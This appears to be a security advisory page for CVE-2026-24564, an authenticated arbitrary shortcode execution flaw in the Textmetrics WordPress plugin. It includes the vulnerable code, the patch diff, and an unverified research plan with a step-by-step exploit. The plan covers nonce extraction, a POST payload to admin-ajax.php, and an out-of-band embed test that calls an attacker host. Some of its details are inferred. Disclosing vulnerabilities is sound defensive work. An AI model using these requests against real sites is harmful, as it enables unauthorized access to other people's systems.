CVE-2026-24564

Textmetrics <= 3.6.5 - Authenticated (Subscriber+) Arbitrary Shortcode Execution

mediumImproper Control of Generation of Code ('Code Injection')
5.4
CVSS Score
5.4
CVSS Score
medium
Severity
3.6.6
Patched in
85d
Time to patch

Description

The The Textmetrics plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 3.6.5. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for authenticated attackers, with Subscriber-level access and above, to execute arbitrary shortcodes.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.6.5
PublishedJanuary 21, 2026
Last updatedApril 15, 2026
Affected pluginwebtexttool

What Changed in the Fix

Changes introduced in v3.6.6

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan outlines the research and exploitation strategy for **CVE-2026-24564**, an authenticated arbitrary shortcode execution vulnerability in the **Textmetrics** (formerly webtexttool) plugin. --- ### 1. Vulnerability Summary The **Textmetrics** plugin for WordPress (versions <= 3.6.5) is vuln…

Show full research plan

This plan outlines the research and exploitation strategy for CVE-2026-24564, an authenticated arbitrary shortcode execution vulnerability in the Textmetrics (formerly webtexttool) plugin.


1. Vulnerability Summary

The Textmetrics plugin for WordPress (versions <= 3.6.5) is vulnerable to Arbitrary Shortcode Execution. The vulnerability exists because the plugin registers several AJAX actions that process content through the do_shortcode() function without sufficient validation or capability checks. Authenticated attackers with Subscriber-level access can call these AJAX endpoints and provide malicious shortcodes, which are then executed on the server.

2. Attack Vector Analysis

  • Vulnerable Endpoint: wp-admin/admin-ajax.php
  • AJAX Action: webtexttool_convert_shortcodes (and potentially webtexttool_convert_divi_shortcodes)
  • Parameter Name: content (inferred based on plugin logic and standard WordPress patterns)
  • Authentication: Authenticated, Subscriber+ (Subscriber, Contributor, Author, etc.)
  • Preconditions: The plugin must be active and the attacker must have a valid login.

3. Code Flow

  1. Registration: In includes/class-webtexttool.php, the plugin registers the AJAX hook:
    add_action('wp_ajax_webtexttool_convert_shortcodes', array($plugin_core, 'wtt_process_shortcodes'));
    
    Note: It is registered under wp_ajax_, meaning it requires authentication but lacks a current_user_can check in versions <= 3.6.5.
  2. Entry Point: An authenticated user sends a POST request to admin-ajax.php?action=webtexttool_convert_shortcodes.
  3. Processing: The request is handled by Webtexttool_Core::wtt_process_shortcodes in core/class-webtexttool-core.php.
  4. Vulnerable Sink: The handler retrieves the content parameter from the POST request and passes it directly to do_shortcode().
    • Pseudo-code of the vulnerable sink:
      public function wtt_process_shortcodes() {
          $content = $_POST['content'];
          echo do_shortcode($content); // The arbitrary execution happens here
          wp_die();
      }
      

4. Nonce Acquisition Strategy

The plugin uses the wp_localize_script function to pass security nonces and AJAX URLs to the frontend.

  1. Identify Nonce Object: In includes/class-webtexttool.php, the webtexttoolnonce function (registered in Webtexttool_Admin) enqueues scripts and localizes them.
  2. Access Point: Since admin_enqueue_scripts is used globally for admin hooks, a Subscriber can access the nonce via any admin page (e.g., wp-admin/profile.php).
  3. Extraction:
    • Log in as a Subscriber.
    • Navigate to /wp-admin/profile.php.
    • Use browser_eval to extract the nonce:
      window.webtexttoolnonce?.nonce // Verify identifier in source
      
    • Alternative: If the first fails, check for wtt_globals.nonce.

5. Exploitation Strategy

Step 1: User Creation

Create a Subscriber-level user to demonstrate the low-privilege nature of the exploit.

wp user create attacker attacker@example.com --role=subscriber --user_pass=password

Step 2: Nonce Retrieval

Navigate to the dashboard as the Subscriber and extract the nonce.

  • Target URL: http://localhost:8080/wp-admin/
  • Script Variable: webtexttoolnonce
  • Key: nonce (or check for wtt_globals)

Step 3: Payload Construction

Construct a POST request to execute a shortcode. A reliable test is using a built-in shortcode that reveals information or simple text.

  • Payload: content=[caption]Executed![/caption] or content=[myshortcode] (if a custom one exists).
  • Action: webtexttool_convert_shortcodes

Step 4: Execution via HTTP Request

Using the http_request tool:

  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body: action=webtexttool_convert_shortcodes&nonce=[NONCE]&content=[caption]PWNED[/caption]

6. Test Data Setup

  1. Ensure the webtexttool plugin is installed and activated.
  2. Create a Subscriber user as described in Step 1.
  3. No further configuration is required as the vulnerability stems from lack of authorization on a globally registered AJAX action.

7. Expected Results

  • Success: The HTTP response will have a 200 OK status and the body will contain the rendered output of the shortcode (e.g., <div class="wp-caption">PWNED</div>).
  • Failure: The response might be 403 Forbidden (nonce fail), 0 (action not registered), or an empty string/error (if patched).

8. Verification Steps

  1. Check the response body of the AJAX call. If the shortcode tags are removed and the inner content is returned/formatted, do_shortcode was executed.
  2. To prove impact beyond reflection, use a shortcode that performs an action (if available on the target system, such as a contact form or gallery query).

9. Alternative Approaches

If webtexttool_convert_shortcodes is protected, check these secondary entry points registered in includes/class-webtexttool.php:

  • wp_ajax_webtexttool_convert_divi_shortcodes: Specifically targets Divi-formatted shortcodes but often uses the same underlying processing logic.
  • wp_ajax_webtexttool_do_blocks: Might process Gutenberg block content which can include shortcode blocks.
  • Blind/OOB Execution: If the output is not echoed, use a shortcode that triggers an external request (e.g., [embed]http://attacker.com[/embed]) and monitor logs.

Reference Identifiers (Verbatim from Source)

  • AJAX Action: webtexttool_convert_shortcodes
  • Core Hook Function: wtt_process_shortcodes
  • Localization Object: webtexttoolnonce
  • JS Globals: wtt_globals
  • Nonce Key: nonce (inferred from JS usage pattern)
Research Findings
Static analysis — not yet PoC-verified

Summary

The Textmetrics plugin for WordPress is vulnerable to arbitrary shortcode execution due to missing authorization checks and insufficient validation on AJAX actions. Authenticated attackers with subscriber-level permissions can execute arbitrary shortcodes by sending requests to the vulnerable AJAX endpoints, potentially leading to information disclosure or further exploitation.

Vulnerable Code

// includes/class-webtexttool.php
// Registration of vulnerable AJAX actions
add_action('wp_ajax_webtexttool_convert_divi_shortcodes', array($plugin_core, 'wtt_process_divi_shortcodes'));
add_action('wp_ajax_webtexttool_convert_shortcodes', array($plugin_core, 'wtt_process_shortcodes'));

---

// core/class-webtexttool-core.php
// Handler for Divi shortcodes (lines 838-852 in version 3.6.5)
public function wtt_process_divi_shortcodes()
{
    if (!wp_verify_nonce($_POST['nonce'], $this->get_webtexttoolnonce_action())) {
        die(-1);
    }

    $unprocessed_data = str_replace('\\', '', $_POST['unprocessed_data']);

    echo do_shortcode($unprocessed_data);

    die();
}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/webtexttool/3.6.5/core/class-webtexttool-core.php	2026-02-26 10:44:50.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/webtexttool/3.6.6/core/class-webtexttool-core.php	2026-03-23 15:22:52.000000000 +0000
@@ -835,22 +835,6 @@
     }
 
     /**
-     * Converts Divi shortcodes from the editor content to html content
-     */
-    public function wtt_process_divi_shortcodes()
-    {
-        if (!wp_verify_nonce($_POST['nonce'], $this->get_webtexttoolnonce_action())) {
-            die(-1);
-        }
-
-        $unprocessed_data = str_replace('\\', '', $_POST['unprocessed_data']);
-
-        echo do_shortcode($unprocessed_data);
-
-        die();
-    }
-
-    /**
      * Converts shortcodes for different plugins
      *
      */

Exploit Outline

1. Authenticate to the WordPress site as a Subscriber-level user. 2. Access the WordPress admin dashboard (e.g., /wp-admin/profile.php) and inspect the page source to locate the `webtexttoolnonce` object and extract its `nonce` value. 3. Identify a target shortcode to execute (e.g., [caption], or a third-party shortcode that performs sensitive actions like listing users or files). 4. Send a POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `webtexttool_convert_divi_shortcodes` (or `webtexttool_convert_shortcodes` depending on available handlers) - `nonce`: [EXTRACTED_NONCE] - `unprocessed_data` (for Divi action) or `content` (for standard action): [SHORTCODE_PAYLOAD] 5. Observe the response body, which will contain the rendered output of the executed shortcode.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.